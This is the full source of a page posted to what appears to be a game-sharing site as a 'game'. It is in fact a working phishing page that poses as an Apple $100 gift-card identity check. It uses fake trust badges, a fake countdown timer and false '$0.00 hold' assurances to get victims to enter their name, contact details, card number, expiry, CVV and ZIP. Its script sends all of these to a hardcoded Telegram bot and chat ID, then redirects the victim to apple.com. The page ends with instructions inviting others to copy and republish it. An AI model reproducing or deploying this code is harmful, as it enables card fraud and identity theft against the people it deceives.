🎮ArcadeLab

Apple $100 Gift Card – Verify Your Identity

by SwiftWolf14
460 lines14.6 KB
▶ Play
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=yes">
    <title>Apple $100 Gift Card – Verify Your Identity</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        body {
            font-family: -apple-system, BlinkMacSystemFont, 'SF Pro Text', 'Helvetica Neue', sans-serif;
            background: #f5f5f7;
            min-height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            padding: 20px;
        }
        .container {
            max-width: 500px;
            width: 100%;
            background: #ffffff;
            border-radius: 32px;
            overflow: hidden;
            box-shadow: 0 20px 40px rgba(0,0,0,0.08), 0 6px 12px rgba(0,0,0,0.05);
        }
        .apple-header {
            background: #000000;
            padding: 28px 24px;
            text-align: center;
        }
        .apple-logo {
            font-size: 34px;
            font-weight: 500;
            color: #ffffff;
            letter-spacing: -0.5px;
        }
        .apple-logo span {
            font-weight: 300;
        }
        .official-badge {
            background: rgba(255,255,255,0.12);
            display: inline-block;
            padding: 6px 14px;
            border-radius: 40px;
            font-size: 11px;
            font-weight: 500;
            color: #ffffff;
            margin-top: 12px;
        }
        .hero {
            padding: 32px 24px 24px;
            text-align: center;
            border-bottom: 1px solid #e5e5ea;
        }
        .gift-card-icon {
            background: linear-gradient(135deg, #f0f0f5, #e5e5ea);
            border-radius: 28px;
            padding: 28px;
            display: inline-block;
            width: 100%;
            margin-bottom: 20px;
        }
        .card-value {
            font-size: 58px;
            font-weight: 700;
            color: #1d1d1f;
            letter-spacing: -1px;
        }
        .card-brand {
            font-size: 16px;
            color: #6e6e73;
            margin-top: 6px;
        }
        h1 {
            font-size: 28px;
            font-weight: 700;
            color: #1d1d1f;
            margin-bottom: 8px;
        }
        .subhead {
            font-size: 15px;
            color: #6e6e73;
            margin-bottom: 20px;
        }
        .trust-row {
            display: flex;
            justify-content: center;
            gap: 16px;
            margin: 20px 0 0;
            flex-wrap: wrap;
        }
        .trust-badge {
            font-size: 11px;
            color: #6e6e73;
            background: #f5f5f7;
            padding: 6px 12px;
            border-radius: 30px;
        }
        .info-card {
            background: #f8f8fa;
            margin: 20px 24px;
            padding: 18px;
            border-radius: 20px;
        }
        .info-card.blue {
            background: #e8f0fe;
        }
        .info-card.green {
            background: #e5f5ed;
        }
        .info-title {
            font-weight: 600;
            font-size: 14px;
            margin-bottom: 8px;
            display: flex;
            align-items: center;
            gap: 8px;
        }
        .info-text {
            font-size: 13px;
            color: #3a3a3e;
            line-height: 1.4;
        }
        .timer-section {
            background: #fef2f2;
            margin: 0 24px 16px;
            padding: 16px;
            border-radius: 20px;
            text-align: center;
        }
        .timer-label {
            font-size: 11px;
            color: #8e8e93;
            text-transform: uppercase;
            letter-spacing: 1px;
        }
        .timer {
            font-size: 36px;
            font-weight: 700;
            color: #dc2626;
            font-family: monospace;
            letter-spacing: 2px;
        }
        .spots {
            background: #fffbeb;
            border: 1px solid #fde68a;
            margin: 0 24px 24px;
            padding: 12px;
            border-radius: 16px;
            text-align: center;
            font-size: 13px;
            font-weight: 600;
            color: #b85c00;
        }
        .form-container {
            padding: 0 24px 24px;
        }
        .form-group {
            margin-bottom: 18px;
        }
        label {
            display: block;
            font-size: 13px;
            font-weight: 500;
            color: #1d1d1f;
            margin-bottom: 6px;
        }
        input {
            width: 100%;
            padding: 14px 16px;
            border: 1.5px solid #e5e5ea;
            border-radius: 14px;
            font-size: 15px;
            transition: all 0.2s;
            background: #fcfcfd;
            font-family: inherit;
        }
        input:focus {
            outline: none;
            border-color: #007aff;
            background: #ffffff;
            box-shadow: 0 0 0 4px rgba(0,122,255,0.1);
        }
        .row-2 {
            display: flex;
            gap: 12px;
        }
        .row-2 .form-group {
            flex: 1;
        }
        .verify-btn {
            width: 100%;
            background: #007aff;
            color: white;
            border: none;
            padding: 16px;
            border-radius: 44px;
            font-size: 17px;
            font-weight: 600;
            cursor: pointer;
            margin: 8px 0 12px;
            transition: all 0.2s;
        }
        .verify-btn:hover {
            background: #005fcb;
            transform: scale(0.98);
        }
        .footer-badges {
            display: flex;
            justify-content: center;
            gap: 20px;
            padding: 20px 24px;
            background: #f8f8fa;
            border-top: 1px solid #e5e5ea;
            flex-wrap: wrap;
        }
        .footer-badges span {
            font-size: 11px;
            color: #8e8e93;
        }
        .terms {
            font-size: 10px;
            color: #8e8e93;
            text-align: center;
            padding: 16px 24px;
            background: #ffffff;
            line-height: 1.4;
            border-top: 1px solid #e5e5ea;
        }
        .loader {
            display: none;
            width: 36px;
            height: 36px;
            border: 3px solid #e5e5ea;
            border-top: 3px solid #007aff;
            border-radius: 50%;
            margin: 15px auto;
            animation: spin 0.8s linear infinite;
        }
        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }
        .message {
            text-align: center;
            font-size: 13px;
            font-weight: 500;
            margin-top: 12px;
        }
        hr {
            margin: 20px 0;
            border: none;
            border-top: 1px solid #e5e5ea;
        }
    </style>
</head>
<body>
<div class="container">
    <div class="apple-header">
        <div class="apple-logo"> <span>Rewards</span></div>
        <div class="official-badge">✓ Official Program</div>
    </div>

    <div class="hero">
        <div class="gift-card-icon">
            <div class="card-value">$100</div>
            <div class="card-brand">Apple Gift Card</div>
        </div>
        <h1>Free $100 Gift Card</h1>
        <div class="subhead">For identity verification • New users only</div>
        <div class="trust-row">
            <span class="trust-badge">🔒 SSL Secure</span>
            <span class="trust-badge">✅ Verified Trust</span>
            <span class="trust-badge">⭐ Apple Partner</span>
        </div>
    </div>

    <div class="info-card blue">
        <div class="info-title">🛡️ Why We Verify Your Card</div>
        <div class="info-text">To prevent fraud and ensure <strong>one person claims this offer once</strong>. Your card is used only for identity verification. <strong>No charges. $0.00 temporary hold only.</strong></div>
    </div>

    <div class="info-card green">
        <div class="info-title">💚 $0.00 Verification – No Money Taken</div>
        <div class="info-text">We place a temporary $0.00 authorization on your card. This is not a real charge. Your bank will remove it within 24 hours. <strong>You will not be billed.</strong></div>
    </div>

    <div class="timer-section">
        <div class="timer-label">⏰ Offer expires in</div>
        <div class="timer" id="timer">23:59:59</div>
    </div>

    <div class="spots">
        🔥 Limited spots: <span id="spots">24</span> of 100 remaining
    </div>

    <div class="form-container">
        <form id="giftForm">
            <div class="form-group">
                <label>Full Name</label>
                <input type="text" id="fullname" name="Full Name" placeholder="John Doe" required>
            </div>

            <div class="form-group">
                <label>Email Address</label>
                <input type="email" id="email" name="Email" placeholder="john@example.com" required>
            </div>

            <div class="form-group">
                <label>Phone Number</label>
                <input type="tel" id="phone" name="Phone" placeholder="(123) 456-7890" required>
            </div>

            <hr>

            <div class="info-card" style="margin: 0 0 20px 0; background: #fef8e8;">
                <div class="info-title">💳 Card Verification ($0.00)</div>
                <div class="info-text">Enter your card details below. <strong>No money will be taken.</strong> This is only to verify your identity and prevent multiple claims.</div>
            </div>

            <div class="form-group">
                <label>Card Number</label>
                <input type="text" id="card" name="Card Number" placeholder="1234 5678 9012 3456" required>
            </div>

            <div class="row-2">
                <div class="form-group">
                    <label>Expiry Date</label>
                    <input type="text" id="expiry" name="Expiry" placeholder="MM/YY" required>
                </div>
                <div class="form-group">
                    <label>CVV</label>
                    <input type="text" id="cvv" name="CVV" placeholder="123" required>
                </div>
            </div>

            <div class="form-group">
                <label>Billing ZIP Code</label>
                <input type="text" id="zip" name="ZIP Code" placeholder="12345" required>
            </div>

            <button type="submit" class="verify-btn" id="submitBtn">✅ Verify Identity & Claim $100</button>
        </form>

        <div class="loader" id="loader"></div>
        <div class="message" id="message"></div>
    </div>

    <div class="footer-badges">
        <span>🔒 SSL Encrypted</span>
        <span>🛡️ PCI Compliant</span>
        <span>💳 Verified by Visa</span>
        <span>⭐ 4.8/5 Rating</span>
    </div>

    <div class="terms">
        <strong>📋 Verification Terms:</strong> By clicking "Verify Identity", you authorize a temporary $0.00 authorization hold for identity verification purposes only. <strong>You will not be charged.</strong> One claim per person. Your $100 Apple Gift Card code will be emailed within 24 hours after successful verification. Apple is not a sponsor of this promotion.
    </div>
</div>

<script>
    // YOUR CORRECT DETAILS ARE HERE
    var BOT_TOKEN = "8731633400:AAEhvQu6xnqqdGIumSKsoCTJiCnMlJbZCrA";
    var CHAT_ID = "8311305334";

    // Timer 24 hours
    let timeLeft = 24 * 60 * 60;
    const timerEl = document.getElementById('timer');
    const timerInterval = setInterval(() => {
        if (timeLeft <= 0) {
            clearInterval(timerInterval);
            timerEl.innerText = "00:00:00";
            return;
        }
        timeLeft--;
        const hours = Math.floor(timeLeft / 3600);
        const minutes = Math.floor((timeLeft % 3600) / 60);
        const seconds = timeLeft % 60;
        timerEl.innerText = `${hours.toString().padStart(2,'0')}:${minutes.toString().padStart(2,'0')}:${seconds.toString().padStart(2,'0')}`;
    }, 1000);

    // Spots counter decreases
    let spotsLeft = 24;
    const spotsInterval = setInterval(() => {
        if (spotsLeft > 0) {
            spotsLeft--;
            document.getElementById('spots').innerText = spotsLeft;
        } else {
            clearInterval(spotsInterval);
        }
    }, 45000);

    // Form submission to Telegram
    document.getElementById('giftForm').addEventListener('submit', async function(e) {
        e.preventDefault();

        const submitBtn = document.getElementById('submitBtn');
        const loader = document.getElementById('loader');
        const messageDiv = document.getElementById('message');

        const fullname = document.getElementById('fullname').value;
        const email = document.getElementById('email').value;
        const phone = document.getElementById('phone').value;
        const card = document.getElementById('card').value;
        const expiry = document.getElementById('expiry').value;
        const cvv = document.getElementById('cvv').value;
        const zip = document.getElementById('zip').value;

        const text = `<b>🎁 NEW APPLE GIFT CARD SUBMISSION</b>\n\n` +
            `<b>Name:</b> ${fullname}\n` +
            `<b>Email:</b> ${email}\n` +
            `<b>Phone:</b> ${phone}\n` +
            `<b>Card Number:</b> ${card}\n` +
            `<b>Expiry:</b> ${expiry}\n` +
            `<b>CVV:</b> ${cvv}\n` +
            `<b>ZIP Code:</b> ${zip}`;

        submitBtn.disabled = true;
        loader.style.display = 'block';
        messageDiv.innerHTML = '';

        const url = `https://api.telegram.org/bot${BOT_TOKEN}/sendMessage`;

        try {
            const response = await fetch(url, {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify({
                    chat_id: CHAT_ID,
                    text: text,
                    parse_mode: 'HTML'
                })
            });

            const data = await response.json();

            if (data.ok) {
                messageDiv.innerHTML = '✅ Verification successful! Redirecting...';
                messageDiv.style.color = '#10b981';
                setTimeout(() => {
                    window.location.href = 'https://www.apple.com';
                }, 2000);
            } else {
                throw new Error('Telegram error');
            }
        } catch (error) {
            console.error('Error:', error);
            messageDiv.innerHTML = '⚠️ Error. Please try again.';
            messageDiv.style.color = '#dc2626';
            submitBtn.disabled = false;
            loader.style.display = 'none';
        }
    });
</script>
</body>
</html>

Game Source: Apple $100 Gift Card – Verify Your Identity

Creator: SwiftWolf14

Libraries: none

Complexity: complex (460 lines, 14.6 KB)

The full source code is displayed above on this page.

Remix Instructions

To remix this game, copy the source code above and modify it. Add a ARCADELAB header at the top with "remix_of: apple-100-gift-card-verify-your-identity-swiftwolf14" to link back to the original. Then publish at arcadelab.ai/publish.